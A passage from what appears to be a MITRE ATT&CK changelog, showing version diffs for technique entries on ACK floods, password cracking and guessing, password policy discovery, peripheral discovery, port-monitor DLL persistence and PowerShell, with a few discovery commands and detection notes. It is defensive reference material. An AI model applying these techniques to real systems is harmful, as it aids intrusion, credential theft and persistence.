ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) |
| external_references[1]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/469.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[2]['source_name'] | capec | Cloudflare SynFlood |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/482.html | https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ |
| external_references[3]['source_name'] | Arbor AnnualDoSreport Jan 2018 | Corero SYN-ACKflood |
| external_references[3]['description'] | Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. | Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019. |
| external_references[3]['url'] | https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf | https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html |
| external_references[4]['source_name'] | Cloudflare SynFlood | Arbor AnnualDoSreport Jan 2018 |
| external_references[4]['description'] | Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019. | Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. |
| external_references[4]['url'] | https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ | https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf |
| external_references[5]['source_name'] | Corero SYN-ACKflood | capec |
| external_references[5]['url'] | https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html | https://capec.mitre.org/data/definitions/469.html |
| external_references[6]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[6]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/482.html |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Network Traffic: Network Traffic Flow |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
[T1110.002] Brute Force: Password Cracking
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may use password cracking to attempt to recover | t | Adversaries may use password cracking to attempt to recover |
| usable credentials, such as plaintext passwords, when creden | | usable credentials, such as plaintext passwords, when creden |
| tial material such as password hashes are obtained. [OS Cred | | tial material such as password hashes are obtained. [OS Cred |
| ential Dumping](https://attack.mitre.org/techniques/T1003) i | | ential Dumping](https://attack.mitre.org/techniques/T1003) c |
| s used to obtain password hashes, this may only get an adver | | an be used to obtain password hashes, this may only get an a |
| sary so far when [Pass the Hash](https://attack.mitre.org/te | | dversary so far when [Pass the Hash](https://attack.mitre.or |
| chniques/T1550/002) is not an option. Techniques to systemat | | g/techniques/T1550/002) is not an option. Further, adversar |
| ically guess the passwords used to compute hashes are availa | | ies may leverage [Data from Configuration Repository](https: |
| ble, or the adversary may use a pre-computed rainbow table t | | //attack.mitre.org/techniques/T1602) in order to obtain hash |
| o crack hashes. Cracking hashes is usually done on adversary | | ed credentials for network devices.(Citation: US-CERT-TA18-1 |
| -controlled systems outside of the target network.(Citation: | | 06A) Techniques to systematically guess the passwords used |
| Wikipedia Password cracking) The resulting plaintext passwo | | to compute hashes are available, or the adversary may use a |
| rd resulting from a successfully cracked hash may be used to | | pre-computed rainbow table to crack hashes. Cracking hashes |
| log into systems, resources, and services in which the acco | | is usually done on adversary-controlled systems outside of |
| unt has access. | | the target network.(Citation: Wikipedia Password cracking) T |
| | | he resulting plaintext password resulting from a successfull |
| | | y cracked hash may be used to log into systems, resources, a |
| | | nd services in which the account has access. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Mohamed Kmal'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-55 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-16 15:39:59.041000+00:00 | 2022-04-19 21:33:46.023000+00:00 |
| description | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)
Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. |
| external_references[1]['source_name'] | capec | US-CERT-TA18-106A |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/55.html | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/55.html', 'external_id': 'CAPEC-55'} |
| x_mitre_platforms | | Network |
[T1110.001] Brute Force: Password Guessing
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries with no prior knowledge of legitimate credential | t | Adversaries with no prior knowledge of legitimate credential |
| s within the system or environment may guess passwords to at | | s within the system or environment may guess passwords to at |
| tempt access to accounts. Without knowledge of the password | | tempt access to accounts. Without knowledge of the password |
| for an account, an adversary may opt to systematically guess | | for an account, an adversary may opt to systematically guess |
| the password using a repetitive or iterative mechanism. An | | the password using a repetitive or iterative mechanism. An |
| adversary may guess login credentials without prior knowledg | | adversary may guess login credentials without prior knowledg |
| e of system or environment passwords during an operation by | | e of system or environment passwords during an operation by |
| using a list of common passwords. Password guessing may or m | | using a list of common passwords. Password guessing may or m |
| ay not take into account the target's policies on password c | | ay not take into account the target's policies on password c |
| omplexity or use policies that may lock accounts out after a | | omplexity or use policies that may lock accounts out after a |
| number of failed attempts. Guessing passwords can be a ris | | number of failed attempts. Guessing passwords can be a ris |
| ky option because it could cause numerous authentication fai | | ky option because it could cause numerous authentication fai |
| lures and account lockouts, depending on the organization's | | lures and account lockouts, depending on the organization's |
| login failure policies. (Citation: Cylance Cleaver) Typical | | login failure policies. (Citation: Cylance Cleaver) Typical |
| ly, management services over commonly used ports are used wh | | ly, management services over commonly used ports are used wh |
| en guessing passwords. Commonly targeted services include th | | en guessing passwords. Commonly targeted services include th |
| e following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP | | e following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP |
| ) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TC | | ) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TC |
| P) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) | | P) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) |
| * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL ( | | * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL ( |
| 1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900 | | 1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900 |
| /TCP) In addition to management services, adversaries may " | | /TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to manag |
| target single sign-on (SSO) and cloud-based applications uti | | ement services, adversaries may "target single sign-on (SSO) |
| lizing federated authentication protocols," as well as exter | | and cloud-based applications utilizing federated authentica |
| nally facing email applications, such as Office 365.(Citatio | | tion protocols," as well as externally facing email applicat |
| n: US-CERT TA18-068A 2018) In default environments, LDAP an | | ions, such as Office 365.(Citation: US-CERT TA18-068A 2018). |
| d Kerberos connection attempts are less likely to trigger ev | | Further, adversaries may abuse network device interfaces (s |
| ents over SMB, which creates Windows "logon failure" event I | | uch as `wlanAPI`) to brute force accessible wifi-router(s) v |
| D 4625. | | ia wireless authentication protocols.(Citation: Trend Micro |
| | | Emotet 2020) In default environments, LDAP and Kerberos con |
| | | nection attempts are less likely to trigger events over SMB, |
| | | which creates Windows "logon failure" event ID 4625. |
New Mitigations:
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-49 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-21 16:41:35.269000+00:00 | 2022-04-19 21:31:44.221000+00:00 |
| description | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)
* SNMP (161/UDP and 162/TCP/UDP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. |
| external_references[1]['source_name'] | capec | Trend Micro Emotet 2020 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/49.html | https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi |
| x_mitre_data_sources[0] | User Account: User Account Authentication | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Application Log: Application Log Content | User Account: User Account Authentication |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html', 'external_id': 'CAPEC-49'} |
| x_mitre_contributors | | Mohamed Kmal |
| x_mitre_platforms | | Network |
[T1201] Password Policy Discovery
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may attempt to access detailed information about | t | Adversaries may attempt to access detailed information about |
| the password policy used within an enterprise network or cl | | the password policy used within an enterprise network or cl |
| oud environment. Password policies are a way to enforce comp | | oud environment. Password policies are a way to enforce comp |
| lex passwords that are difficult to guess or crack through [ | | lex passwords that are difficult to guess or crack through [ |
| Brute Force](https://attack.mitre.org/techniques/T1110). Thi | | Brute Force](https://attack.mitre.org/techniques/T1110). Thi |
| s information may help the adversary to create a list of com | | s information may help the adversary to create a list of com |
| mon passwords and launch dictionary and/or brute force attac | | mon passwords and launch dictionary and/or brute force attac |
| ks which adheres to the policy (e.g. if the minimum password | | ks which adheres to the policy (e.g. if the minimum password |
| length should be 8, then not trying passwords such as 'pass | | length should be 8, then not trying passwords such as 'pass |
| 123'; not checking for more than 3-4 passwords per account i | | 123'; not checking for more than 3-4 passwords per account i |
| f the lockout is set to 6 as to not lock out accounts). Pas | | f the lockout is set to 6 as to not lock out accounts). Pas |
| sword policies can be set and discovered on Windows, Linux, | | sword policies can be set and discovered on Windows, Linux, |
| and macOS systems via various command shell utilities such a | | and macOS systems via various command shell utilities such a |
| s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo | | s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo |
| mainPasswordPolicy</code>, <code>chage -l <username></code>, | | mainPasswordPolicy</code>, <code>chage -l <username></code>, |
| <code>cat /etc/pam.d/common-password</code>, and <code>pwpo | | <code>cat /etc/pam.d/common-password</code>, and <code>pwpo |
| licy getaccountpolicies</code> (Citation: Superuser Linux Pa | | licy getaccountpolicies</code> (Citation: Superuser Linux Pa |
| ssword Policies) (Citation: Jamf User Password Policies). P | | ssword Policies) (Citation: Jamf User Password Policies). Ad |
| assword policies can be discovered in cloud environments usi | | versaries may also leverage a [Network Device CLI](https://a |
| ng available APIs such as <code>GetAccountPasswordPolicy</co | | ttack.mitre.org/techniques/T1059/008) on network devices to |
| de> in AWS (Citation: AWS GetPasswordPolicy). | | discover password policy information.(Citation: US-CERT-TA18 |
| | | -106A) Password policies can be discovered in cloud environ |
| | | ments using available APIs such as <code>GetAccountPasswordP |
| | | olicy</code> in AWS (Citation: AWS GetPasswordPolicy). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-26 14:11:39.499000+00:00 | 2022-04-20 18:12:44.708000+00:00 |
| description | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). |
| external_references[1]['source_name'] | Superuser Linux Password Policies | AWS GetPasswordPolicy |
| external_references[1]['description'] | Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018. | Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021. |
| external_references[1]['url'] | https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu | https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html |
| external_references[3]['source_name'] | AWS GetPasswordPolicy | Superuser Linux Password Policies |
| external_references[3]['description'] | Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021. | Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018. |
| external_references[3]['url'] | https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html | https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu |
| x_mitre_contributors[1] | Isif Ibrahima | Sudhanshu Chauhan, @Sudhanshu_C |
| x_mitre_contributors[2] | Sudhanshu Chauhan, @Sudhanshu_C | Isif Ibrahima, Mandiant |
| x_mitre_data_sources[0] | User Account: User Account Metadata | Command: Command Execution |
| x_mitre_data_sources[2] | Command: Command Execution | User Account: User Account Metadata |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} |
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_platforms | | Network |
[T1120] Peripheral Device Discovery
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may attempt to gather information about attached | t | Adversaries may attempt to gather information about attached |
| peripheral devices and components connected to a computer s | | peripheral devices and components connected to a computer s |
| ystem. Peripheral devices could include auxiliary resources | | ystem.(Citation: Peripheral Discovery Linux)(Citation: Perip |
| that support a variety of functionalities such as keyboards, | | heral Discovery macOS) Peripheral devices could include auxi |
| printers, cameras, smart card readers, or removable storage | | liary resources that support a variety of functionalities su |
| . The information may be used to enhance their awareness of | | ch as keyboards, printers, cameras, smart card readers, or r |
| the system and network environment or may be used for furthe | | emovable storage. The information may be used to enhance the |
| r actions. | | ir awareness of the system and network environment or may be |
| | | used for further actions. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-26 17:42:03.337000+00:00 | 2022-03-11 18:39:11.763000+00:00 |
| description | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions. | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions. |
| x_mitre_data_sources[1] | Command: Command Execution | Process: OS API Execution |
| x_mitre_data_sources[2] | Process: OS API Execution | Command: Command Execution |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Peripheral Discovery Linux', 'description': 'Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.', 'url': 'https://linuxhint.com/list-usb-devices-linux/'} |
| external_references | | {'source_name': 'Peripheral Discovery macOS', 'description': 'SS64. (n.d.). system_profiler. Retrieved March 11, 2022.', 'url': 'https://ss64.com/osx/system_profiler.html'} |
| x_mitre_platforms | | Linux |
[T1547.010] Boot or Logon Autostart Execution: Port Monitors
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may use port monitors to run an attacker supplie | t | Adversaries may use port monitors to run an adversary suppli |
| d DLL during system boot for persistence or privilege escala | | ed DLL during system boot for persistence or privilege escal |
| tion. A port monitor can be set through the <code>AddMonitor | | ation. A port monitor can be set through the <code>AddMonito |
| </code> API call to set a DLL to be loaded at startup. (Cita | | r</code> API call to set a DLL to be loaded at startup.(Cita |
| tion: AddMonitor) This DLL can be located in <code>C:\Window | | tion: AddMonitor) This DLL can be located in <code>C:\Window |
| s\System32</code> and will be loaded by the print spooler se | | s\System32</code> and will be loaded by the print spooler se |
| rvice, spoolsv.exe, on boot. The spoolsv.exe process also ru | | rvice, spoolsv.exe, on boot. The spoolsv.exe process also ru |
| ns under SYSTEM level permissions. (Citation: Bloxham) Alter | | ns under SYSTEM level permissions.(Citation: Bloxham) Altern |
| natively, an arbitrary DLL can be loaded if permissions allo | | atively, an arbitrary DLL can be loaded if permissions allow |
| w writing a fully-qualified pathname for that DLL to <code>H | | writing a fully-qualified pathname for that DLL to <code>HK |
| KLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. | | LM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. |
| The Registry key contains entries for the following: * Lo | | The Registry key contains entries for the following: * Loc |
| cal Port * Standard TCP/IP Port * USB Monitor * WSD Port Ad | | al Port * Standard TCP/IP Port * USB Monitor * WSD Port Adv |
| versaries can use this technique to load malicious code at s | | ersaries can use this technique to load malicious code at st |
| tartup that will persist on system reboot and execute as SYS | | artup that will persist on system reboot and execute as SYST |
| TEM. | | EM. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-24 19:46:27.750000+00:00 | 2022-04-20 16:36:31.835000+00:00 |
| description | Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.
The Registry key contains entries for the following:
* Local Port
* Standard TCP/IP Port
* USB Monitor
* WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. | Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.
The Registry key contains entries for the following:
* Local Port
* Standard TCP/IP Port
* USB Monitor
* WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. |
| external_references[1]['source_name'] | AddMonitor | Bloxham |
| external_references[1]['description'] | Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. | Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014. |
| external_references[1]['url'] | http://msdn.microsoft.com/en-us/library/dd183341 | https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf |
| external_references[2]['source_name'] | Bloxham | AddMonitor |
| external_references[2]['description'] | Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014. | Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. |
| external_references[2]['url'] | https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf | http://msdn.microsoft.com/en-us/library/dd183341 |
| x_mitre_data_sources[0] | File: File Creation | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[3] | Windows Registry: Windows Registry Key Modification | File: File Creation |
| x_mitre_detection | Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.
Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns) | Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.
Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns) |
| x_mitre_version | 1.0 | 1.1 |
[T1059.001] Command and Scripting Interpreter: PowerShell
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may abuse PowerShell commands and scripts for ex | t | Adversaries may abuse PowerShell commands and scripts for ex |
| ecution. PowerShell is a powerful interactive command-line i | | ecution. PowerShell is a powerful interactive command-line i |
| nterface and scripting environment included in the Windows o | | nterface and scripting environment included in the Windows o |
| perating system. (Citation: TechNet PowerShell) Adversaries | | perating system.(Citation: TechNet PowerShell) Adversaries c |
| can use PowerShell to perform a number of actions, including | | an use PowerShell to perform a number of actions, including |
| discovery of information and execution of code. Examples in | | discovery of information and execution of code. Examples inc |
| clude the <code>Start-Process</code> cmdlet which can be use | | lude the <code>Start-Process</code> cmdlet which can be used |
| d to run an executable and the <code>Invoke-Command</code> c | | to run an executable and the <code>Invoke-Command</code> cm |
| mdlet which runs a command locally or on a remote computer ( | | dlet which runs a command locally or on a remote computer (t |
| though administrator permissions are required to use PowerSh | | hough administrator permissions are required to use PowerShe |
| ell to connect to remote systems). PowerShell may also be u | | ll to connect to remote systems). PowerShell may also be us |
| sed to download and run executables from the Internet, which | | ed to download and run executables from the Internet, which |
| can be executed from disk or in memory without touching dis | | can be executed from disk or in memory without touching disk |
| k. A number of PowerShell-based offensive testing tools are | | . A number of PowerShell-based offensive testing tools are |
| available, including [Empire](https://attack.mitre.org/soft | | available, including [Empire](https://attack.mitre.org/softw |
